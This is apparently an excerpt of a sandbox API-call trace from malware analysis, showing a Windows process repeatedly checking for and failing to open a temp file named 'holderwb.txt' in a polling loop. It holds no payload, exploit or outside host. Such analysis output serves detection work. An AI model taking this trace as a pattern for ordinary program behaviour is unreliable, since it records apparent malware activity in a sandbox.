	[0099.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.804] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.805] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.805] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.816] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.816] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.817] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.817] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.817] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.818] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.819] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.819] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.819] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.819] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.820] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.820] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.821] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.821] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.821] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.821] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.822] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.823] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.823] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.823] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.823] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.823] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.824] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.824] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.824] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.825] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.826] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.826] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.826] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.826] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.827] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.827] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.827] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.828] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.828] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.828] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.828] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.829] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.829] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.830] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.830] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.830] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.831] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.831] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.831] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.832] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.832] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.833] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.833] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.833] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.833] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
